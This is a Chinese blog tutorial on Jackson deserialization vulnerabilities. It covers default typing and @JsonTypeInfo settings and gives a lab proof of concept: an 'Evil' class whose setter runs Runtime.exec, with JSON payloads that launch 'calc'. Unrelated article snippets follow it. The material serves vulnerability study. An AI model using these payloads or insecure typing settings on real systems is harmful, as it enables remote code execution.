当前位置: 首页 > news >正文

jackson反序列化漏洞

jackson反序列化漏洞

    • 反序列化漏洞触发根因
    • jackson介绍
    • jackson反序列化漏洞关键点
      • enableDefaultTyping
      • activateDefaultTyping
      • @JsonTypeInfo
    • 漏洞触发场景
    • 漏洞复现
      • 环境
      • 引入依赖
      • poc
        • activateDefaultTyping
        • enableDefaultTyping
        • JsonTypeInfo
    • 参考

很久没写blog,最近慢慢开始清一下库存

反序列化漏洞触发根因

  1. 使用了危险的类+传入类的参数外部可控
  2. 未使用危险的类+类型和传入类型的参数外部可控

第一种情况取决于开发在类中使用了危险的方法,常见于原生反序列化漏洞;第二种情况常见于允许解析外部传入的危险类所导致的,常见于各类组件

jackson介绍

Jackson 是一款流行的 json 解析器,Spring MVC 的默认 json 解析器便是 Jackson。

Jackson 的核心模块由三部分组成。

  • jackson-core,核心包,提供基于"流模式"解析的相关 API,它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。
  • jackson-annotations,注解包,提供标准注解功能;
  • jackson-databind ,数据绑定包, 提供基于"对象绑定" 解析的相关 API ( ObjectMapper ) 和"树模型" 解析的相关 API (JsonNode);基于"对象绑定" 解析的 API 和"树模型"解析的 API 依赖基于"流模式"解析的 API。

jackson反序列化漏洞关键点

jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的,目前有以下三种场景:

  • DefaultTyping
  • activateDefaultTyping
  • JsonTypeInfo

enableDefaultTyping

示例:

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

DefaultTyping可以指定以下四种类型:

  1. ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT:

    这个选项会将所有的对象都视为java.lang.Object类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法,而不考虑实际的类型信息。

  2. ObjectMapper.DefaultTyping.NON_CONCRETE:

    这个选项会处理那些不是最终(final)类的所有类,即它可以处理抽象类和接口。

  3. ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE (默认选项):

    这个选项结合了上面两个选项的行为,即处理java.lang.Object类型和非最终类。

  4. ObjectMapper.DefaultTyping.NON_FINAL:

    这个选项会处理所有的非final字段,即使它们所属的类是final的。

activateDefaultTyping

自jackson 2.1.0后,DefaultTyping就被弃用,会推荐使用activateDefaultTyping

示例:

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL,JsonTypeInfo.As.WRAPPER_ARRAY);

activateDefaultTyping可以指定三个参数:

  • PolymorphicTypeValidator ptv:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口:当使用Java类名作为类型标识符时,通过“默认类型”和显式@JsonTypeInfo进行验证。
  • ObjectMapper.DefaultTyping applicability:即DefaultTyping处提到的四种类型
  • com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs

@JsonTypeInfo

  • @JsonTypeInfo(use = JsonTypeInfo.Id.NONE):不允许指定任何类型
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS):通过@class的方式指定任何类型
  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS):通过@c的方式指定任何类型
  • @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

漏洞触发场景

  1. 对象类型为Object,就是后续要进行漏洞复现的场景了,以下三种类型均可触发:
    • 使用了activateDefaultTyping
    • 使用了enableDefaultTyping
    • 使用了JsonTypeInfo且
  2. 对象类型不为Object,开发在对象的set方法中进行了危险操作,但开发一般不会这么写

漏洞复现

环境

spring boot 3.3 + jdk17 + jackson 2.17.1

引入依赖

spring boot自带jackson,无需引入依赖,想要判断Jackson版本可以在外部依赖处搜索即可。

注意,指定自带jackson的版本时需要注意一个问题,那就是jackson和spring boot存在依赖冲突,而将spring boot降级又将带来jdk版本不匹配的问题

poc

jackson反序列化漏洞的已验证触发场景:
1、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)+对象类型为Object
2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)+对象类型为Object
3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) +对象类型为Object

payload示例:{ “name”: “liming”, “age”: 12, “object”: [“com.example.demo.vulnerability.Deserialization.Evil”,{“cmd”:“calc”}]}

activateDefaultTyping

Person成员:

private String name;
private Integer age;
public Object object;

com.example.demo.vulnerability.Deserialization.Evil类:

package com.example.demo.vulnerability.Deserialization;public class Evil {public String cmd;public void setCmd(String cmd) {this.cmd = cmd;try {Runtime.getRuntime().exec(cmd);}catch (Exception e){e.printStackTrace();}}
}

(1)当设置为:

objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);或objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);或:
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);或:
objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())

payload为:

{    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}

(2)当设置为:

objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);

payload为:

[    "com.example.demo.entity.Person",    {    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}]
enableDefaultTyping

在jackson 2.17.1下,虽然被弃用,但仍然可以使用,payload同activateDefaultTyping

JsonTypeInfo

Person成员:

private String name;
private Integer age;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object object;

当JsonTypeInfo指定use为JsonTypeInfo.Id.CLASS@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)时,payload为:

{    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}

如果还在Person上面使用注解JsonTypeInfo.Id.CLASS,则需要使用以下payload:

[    "com.example.demo.entity.Person",    {    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}]

参考

  • 深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com)

  • Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客

相关文章:

jackson反序列化漏洞

jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog,最近慢慢开…...

Java | Leetcode Java题解之第328题奇偶链表

题目: 题解: class Solution {public ListNode oddEvenList(ListNode head) {if (head null) {return head;}ListNode evenHead head.next;ListNode odd head, even evenHead;while (even ! null && even.next ! null) {odd.next even.nex…...

100 Exercises To Learn Rust 挑战!准备篇

公司内部的学习会非常活跃!我也参与了Rust学习会,并且一直在研究rustlings。最近,我发现了一个类似于rustlings的新教程网站:Welcome - 100 Exercises To Learn Rust。 rustlings是基于Rust的权威官方文档《The Rust Programming…...

瑞_RabbitMQ_初识MQ

文章目录 1 初识MQ1.1 同步调用1.1.1 同步调用的优势1.1.2 同步调用的缺点 1.2 异步调用1.2.1 异步调用的角色1.2.2 异步调用的优势1.2.3 异步调用的缺点1.2.4 异步调用的场景 1.3 MQ技术选型 2 RabbitMQ2.1 安装2.1.1 资源准备2.1.2 安装步骤 2.2 RabbitMQ架构2.3 RabbitMQ管理…...

系统内存管理:虚拟内存、内存分段与分页、页表缓存TLB以及Linux内存管理

虚拟内存 虚拟内存是一种操作系统提供的机制,用于将每个进程分配的独立的虚拟地址空间映射到实际的物理内存地址空间上。通过使用虚拟内存,操作系统可以有效地解决多个应用程序直接操作物理内存可能引发的冲突问题。 在使用虚拟内存的情况下&#xff0…...

Java每日一练_模拟面试题5(堆和栈的区别)

在Java中,堆(Heap)和栈(Stack)是两个不同的内存区域,它们在存储内容、管理方式、空间大小、分配方式等多个方面存在显著的区别。以下是Java中堆和栈的主要区别: 1. 存储内容不同 堆&#xff1…...

传感器校正和测试

是 一。舵机在使用过程中为了防止手动扭动损坏其中的齿轮&#xff0c;一般会使用代码测试并校正到0位。 #include <Servo.h> Servo myservo; // 创建一个Servo对象 // 连接到舵机信号线的Arduino引脚 int servoPin 9; void setup() { myservo.attach(servoPin…...

Eclipse 悬浮提示:提高编程效率的利器

Eclipse 悬浮提示&#xff1a;提高编程效率的利器 引言 在当今的软件开发领域&#xff0c;Eclipse 是一款广受欢迎的集成开发环境&#xff08;IDE&#xff09;。它以其强大的功能和灵活性而著称&#xff0c;被全球的开发者用于各种编程语言和项目。Eclipse 的一个显著特点是其…...

Vault系列之:创建令牌

Vault系列之&#xff1a;创建令牌 一、Vault令牌二、令牌认证三、创建一个新的令牌四、使用令牌登陆五、 撤销令牌 一、Vault令牌 Vault令牌是Vault服务器提供的一种身份验证方式&#xff0c;用于授权和访问Vault中存储的资源。Vault令牌可以是客户端令牌或服务令牌。客户端令…...

如何在 Windows 10 环境下安装和配置 MySQL:初学者指南

如何在 Windows 10 环境下安装和配置 MySQL&#xff1a;初学者指南 MySQL 是一个流行的开源数据库管理系统&#xff0c;广泛应用于各种应用程序中。对于初学者来说&#xff0c;了解如何在 Windows 10 环境下安装和配置 MySQL 是一个重要的第一步。本篇博客将详细介绍如何完成这…...

Ubuntu 24.04上报:Error: could not connect to ollama app, is it running?的解决方法

说起来这个问题真实让人无语。按照我之前说过的方法&#xff1a;设置Ollama在局域网中访问的方法&#xff08;Ubuntu&#xff09;_ollama 局域网访问-CSDN博客 把Ollama的默认端口修改后&#xff0c;如果再运行&#xff1a; ollama ps 则会报下面的错&#xff1a; Error: c…...

字典树查重(到底要开多大的空间啊)

前言&#xff1a;烦死了&#xff0c;这个题目一看就是用字典树来做&#xff0c;但是空间不知道开多大&#xff0c;烦死了 后来发现其实tree的第一维空间直接开极端的情况就行&#xff0c;就好像这一题&#xff0c;最多有 1e4 个字符串&#xff0c;每个字符串最长为 50&#xff…...

财务会计与管理会计(二)

文章目录 多工作表销售数据汇总1、INDIRECT函数2、HLOOKUP函数 多表筛选分类求和1、SUMIF函数2、INDIRECT函数 两组数据比对详解VLOOKUP函数的应用 多工作表销售数据汇总 1、INDIRECT函数 INDIRECT(""&D$4&"!D4:M24") 1月!D4:M24 HLOOKUP($A$1,I…...

技术周总结 08.05-08.11周日

文章目录 一、08.06 周二1.1) 问题01 mac安装 scala:1. 使用 Homebrew2. 使用 SDKMAN!其他注意事项1. 确认 Scala 安装位置2. 设置 PATH 环境变量对于 zsh (macOS Catalina 及更高版本默认使用 zsh):对于 bash (如果您使用的是 bash shell): 3. 验证安装 二、08.09 周五2.1&…...

B树和B+树的插入、删除

1. B树 1.1 B树的定义 树也称树&#xff0c;它是一颗多路平衡查找树。我们描述一颗树时需要指定它的阶数&#xff0c;阶数表示了一个结点最多有多少个孩子结点&#xff0c;用字母表示阶数。当取时&#xff0c;就是我们常见的二叉搜索树。 一颗阶的树定义如下&#xff1a; 每…...

Axios网络请求总结

在实际项目开发中&#xff0c;前端页面所需要的数据往往需要从服务器端获取&#xff0c;这必然涉及与服务器的通信。Axios 是一个基于 promise 网络请求库&#xff0c;作用于node.js 和浏览器中。Axios 在浏览器端使用XMLHttpRequests发送网络请求&#xff0c;并能自动完成JSON…...

立仪科技光谱共焦应用之金属隔膜静态重复性测量

01&#xff5c;检测需求&#xff1a;金属隔膜重复性测量 02&#xff5c;检测方式 为了保证精度&#xff0c;首先先用千分尺进行测量&#xff0c;得出相应的厚度数据&#xff0c;在选择合适的侧头&#xff0c;根据结果&#xff0c;我们现在立仪科技H4UO控制器搭配D27A20侧头 03&…...

vue3实现video视频+弹幕评论

vue3实现视频加评论 之前写了一篇博客使用了弹幕插件http://t.csdnimg.cn/616mlvue3 使用弹幕插件&#xff0c;今天对这个页面进行了升级 变成了 vue3使用video 这个没有使用插件&#xff0c;昨天看了好多&#xff0c;没发现有用的插件&#xff0c;下载了几个都没办法使用就用…...

STM32-OTA升级

一、OTA&#xff08;Over-The-Air&#xff09; OTA&#xff08;Over-The-Air&#xff09;是一种通过无线通信方式&#xff0c;为设备分发新软件、配置甚至更新加密密钥的技术。它允许中心位置向所有用户发送更新&#xff0c;确保每个接收者都无法拒绝、破坏或改变这些更新&…...

一种JSON多态表示法

介绍 假设现在需要实现一种功能: 从某个远程的组件(消息队列或远程文件)拉取最后几条记录做一个展示. 需要支持如下的组件: Kafka RocketMQ OSS 假设还有很多, 这里不列了 … 显然, 每种组件需要的参数各不一样, 那么此时如何使用一个统一的结构来表达这些组件的参数呢?…...

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

19c补丁后oracle属主变化,导致不能识别磁盘组

补丁后服务器重启&#xff0c;数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后&#xff0c;存在与用户组权限相关的问题。具体表现为&#xff0c;Oracle 实例的运行用户&#xff08;oracle&#xff09;和集…...

在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能

下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能&#xff0c;包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别

UnsatisfiedLinkError 在对接硬件设备中&#xff0c;我们会遇到使用 java 调用 dll文件 的情况&#xff0c;此时大概率出现UnsatisfiedLinkError链接错误&#xff0c;原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用&#xff0c;结果 dll 未实现 JNI 协…...

Spring AI与Spring Modulith核心技术解析

Spring AI核心架构解析 Spring AI&#xff08;https://spring.io/projects/spring-ai&#xff09;作为Spring生态中的AI集成框架&#xff0c;其核心设计理念是通过模块化架构降低AI应用的开发复杂度。与Python生态中的LangChain/LlamaIndex等工具类似&#xff0c;但特别为多语…...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!

简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求&#xff0c;并检查收到的响应。它以以下模式之一…...

【C++特殊工具与技术】优化内存分配(一):C++中的内存分配

目录 一、C 内存的基本概念​ 1.1 内存的物理与逻辑结构​ 1.2 C 程序的内存区域划分​ 二、栈内存分配​ 2.1 栈内存的特点​ 2.2 栈内存分配示例​ 三、堆内存分配​ 3.1 new和delete操作符​ 4.2 内存泄漏与悬空指针问题​ 4.3 new和delete的重载​ 四、智能指针…...

Spring Security 认证流程——补充

一、认证流程概述 Spring Security 的认证流程基于 过滤器链&#xff08;Filter Chain&#xff09;&#xff0c;核心组件包括 UsernamePasswordAuthenticationFilter、AuthenticationManager、UserDetailsService 等。整个流程可分为以下步骤&#xff1a; 用户提交登录请求拦…...

消防一体化安全管控平台:构建消防“一张图”和APP统一管理

在城市的某个角落&#xff0c;一场突如其来的火灾打破了平静。熊熊烈火迅速蔓延&#xff0c;滚滚浓烟弥漫开来&#xff0c;周围群众的生命财产安全受到严重威胁。就在这千钧一发之际&#xff0c;消防救援队伍迅速行动&#xff0c;而豪越科技消防一体化安全管控平台构建的消防“…...

《信号与系统》第 6 章 信号与系统的时域和频域特性

目录 6.0 引言 6.1 傅里叶变换的模和相位表示 6.2 线性时不变系统频率响应的模和相位表示 6.2.1 线性与非线性相位 6.2.2 群时延 6.2.3 对数模和相位图 6.3 理想频率选择性滤波器的时域特性 6.4 非理想滤波器的时域和频域特性讨论 6.5 一阶与二阶连续时间系统 6.5.1 …...